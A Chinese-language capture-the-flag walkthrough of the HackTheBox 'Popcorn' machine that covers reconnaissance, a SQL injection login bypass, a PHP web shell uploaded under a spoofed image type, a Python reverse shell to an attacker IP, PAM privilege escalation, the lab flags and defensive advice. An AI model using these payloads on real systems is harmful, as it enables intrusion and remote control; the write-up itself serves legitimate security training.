[Meachines] [Medium] Popcorn SQLI+Upload File+PAM权限提升
字数 954 2025-08-19 12:40:41

Popcorn靶机渗透测试教学文档

1. 信息收集阶段

1.1 初始扫描

使用Nmap进行初始端口扫描:

nmap -p- 10.10.10.6 --min-rate 1000 -sC -sV

扫描结果:

  • 22/tcp:OpenSSH 5.1p1 (Ubuntu Linux)
  • 80/tcp:Apache httpd 2.2.12
    • 重定向到 http://popcorn.htb/
    • 服务器头信息:Apache/2.2.12 (Ubuntu)

1.2 主机名解析

将目标IP与域名关联:

echo '10.10.10.6 popcorn.htb' >> /etc/hosts

1.3 目录枚举

使用feroxbuster进行目录扫描:

feroxbuster --url http://popcorn.htb/

2. Web应用渗透

2.1 SQL注入漏洞利用

发现登录页面:

http://popcorn.htb/torrent/login.php

使用经典SQL注入绕过认证:

用户名:admin' or '1'='1
密码:任意值(如xxx)

2.2 文件上传功能

成功登录后访问:

http://popcorn.htb/torrent/torrents.php?mode=upload

下载示例torrent文件:

wget https://cdimage.kali.org/kali-2024.2/kali-linux-2024.2-installer-amd64.iso.torrent -O 1.torrent

2.3 上传Web Shell

  1. 访问编辑页面:
http://popcorn.htb/torrent/edit.php?mode=edit&id=15e47da8c58f93e7bd55a60ef02d4bf05645becc
  1. 构造恶意PHP文件上传请求:
POST /torrent/upload_file.php?mode=upload&id=15e47da8c58f93e7bd55a60ef02d4bf05645becc HTTP/1.1
Host: popcorn.htb
Content-Type: multipart/form-data; boundary=356668434211973508953699136894

--356668434211973508953699136894
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/png

<?php system($_GET[1]);phpinfo();
--356668434211973508953699136894
Content-Disposition: form-data; name="submit"

Submit Screenshot
--356668434211973508953699136894--
  1. Web Shell访问路径:
http://popcorn.htb/torrent/upload/15e47da8c58f93e7bd55a60ef02d4bf05645becc.php

3. 获取初始立足点

3.1 反向Shell

使用Python反向Shell代码:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.24",10032));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

通过Web Shell执行:

curl 'http://popcorn.htb/torrent/upload/15e47da8c58f93e7bd55a60ef02d4bf05645becc.php?1=python%20-c%20...'

3.2 获取用户标志

用户标志位置:

/home/<user>/user.txt

内容:5cdfb68827912b249896490a60bf420c

4. 权限提升

4.1 系统信息收集

检查系统信息:

uname -a

查找可疑文件:

ls -lAR /home/george

发现文件:.cache/motd.legal-displayed

4.2 PAM漏洞利用

发现PAM 1.1.0存在文件篡改特权升级漏洞(Exploit-DB 14339)

  1. 确保拥有交互式Shell:
python -c 'import pty; pty.spawn("/bin/sh")'
  1. 下载或创建exp.sh脚本

  2. 执行权限提升:

chmod +x exp.sh
./exp.sh

4.3 获取root标志

root标志位置:

/root/root.txt

内容:d87c02b4781a36f55ea99c8c8fbf4d20

5. 关键知识点总结

  1. SQL注入:使用' or '1'='1绕过认证
  2. 文件上传绕过:通过修改Content-Type和文件名上传PHP Shell
  3. 反向Shell:Python实现跨平台反向连接
  4. PAM提权:利用motd.legal-displayed文件进行权限提升
  5. 交互式Shell:在非交互式环境中使用pty.spawn获取完整功能

6. 防御建议

  1. 使用参数化查询防止SQL注入
  2. 严格限制上传文件类型,使用白名单验证
  3. 及时更新PAM等系统组件
  4. 限制服务器文件系统权限
  5. 监控异常文件创建和修改
Popcorn靶机渗透测试教学文档 1. 信息收集阶段 1.1 初始扫描 使用Nmap进行初始端口扫描: 扫描结果: 22/tcp :OpenSSH 5.1p1 (Ubuntu Linux) 80/tcp :Apache httpd 2.2.12 重定向到 http://popcorn.htb/ 服务器头信息:Apache/2.2.12 (Ubuntu) 1.2 主机名解析 将目标IP与域名关联: 1.3 目录枚举 使用feroxbuster进行目录扫描: 2. Web应用渗透 2.1 SQL注入漏洞利用 发现登录页面: 使用经典SQL注入绕过认证: 2.2 文件上传功能 成功登录后访问: 下载示例torrent文件: 2.3 上传Web Shell 访问编辑页面: 构造恶意PHP文件上传请求: Web Shell访问路径: 3. 获取初始立足点 3.1 反向Shell 使用Python反向Shell代码: 通过Web Shell执行: 3.2 获取用户标志 用户标志位置: 内容:5cdfb68827912b249896490a60bf420c 4. 权限提升 4.1 系统信息收集 检查系统信息: 查找可疑文件: 发现文件: .cache/motd.legal-displayed 4.2 PAM漏洞利用 发现PAM 1.1.0存在文件篡改特权升级漏洞(Exploit-DB 14339) 确保拥有交互式Shell: 下载或创建exp.sh脚本 执行权限提升: 4.3 获取root标志 root标志位置: 内容:d87c02b4781a36f55ea99c8c8fbf4d20 5. 关键知识点总结 SQL注入 :使用 ' or '1'='1 绕过认证 文件上传绕过 :通过修改Content-Type和文件名上传PHP Shell 反向Shell :Python实现跨平台反向连接 PAM提权 :利用motd.legal-displayed文件进行权限提升 交互式Shell :在非交互式环境中使用pty.spawn获取完整功能 6. 防御建议 使用参数化查询防止SQL注入 严格限制上传文件类型,使用白名单验证 及时更新PAM等系统组件 限制服务器文件系统权限 监控异常文件创建和修改